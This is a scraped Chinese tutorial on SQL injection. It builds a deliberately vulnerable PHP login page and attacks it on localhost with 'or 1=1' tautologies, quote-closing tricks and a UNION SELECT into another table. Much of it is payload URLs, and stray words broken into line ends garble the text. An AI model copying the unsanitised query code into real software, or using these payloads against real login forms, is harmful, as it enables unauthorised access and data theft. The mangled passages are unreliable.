1創建查詢語句php
$host = "localhost"; $username = "root"; $dbname = "acool"; $dbpwd = "root"; $con = mysql_connect($host,$username,$dbpwd ) or die("#fail to contect to db."); mysql_select_db($dbname,$con) or die("fail to open database"); $user = $_GET['user']; $pwd = $_GET["pwd"]; $sql = "select * from user where username = '{$user}' and pwd = '{$pwd}' "; $result = mysql_query($sql,$con); $num_rows = mysql_num_rows($result); if($num_rows<1){ echo "fail"; }else{ echo "succes"; } while ($row = mysql_fetch_array($result)){ var_dump($row); } echo "<code>sql:$sql</code>"; //http://127.0.0.1/sql.php?user=admin&pwd=123456
當pwd密碼不等於數據庫的密碼時.很明顯利用1=1 恆成立mysql
結果以下sql
顯然sql語句是能夠執行的數據庫
http://127.0.0.1/sql.php?user=admin&pwd=admin%20or%201=1安全
因爲引號致使sql構造不正確,須要繞過引號,讓引號閉合;函數
failsql:select * from user where username = 'admin' and pwd = 'admin or 1=1'
fetch
http://127.0.0.1/sql.php?user=admin&pwd=admin' or '1=1spa
所以簡單的mysql注入成功了3d
繼續既然mysql這麼有趣,還能夠作些什麼呢?code
由於union 聯合查詢的表字段必須相等,須要修改
select * from user where username = 'admin' and pwd = 'admin' UNION SELECT * ,1 FROM user_copy ;// 1充當一個字段,須要改變數量嘗試
http://127.0.0.1/sql.php?user=admin&pwd=admin ' union SELECT * ,1 FROM user_copy where '1=1
這種構造sql 的select 語句外,構造insert ,delete語句
結果再次訪問的結果
NULL
字符)。)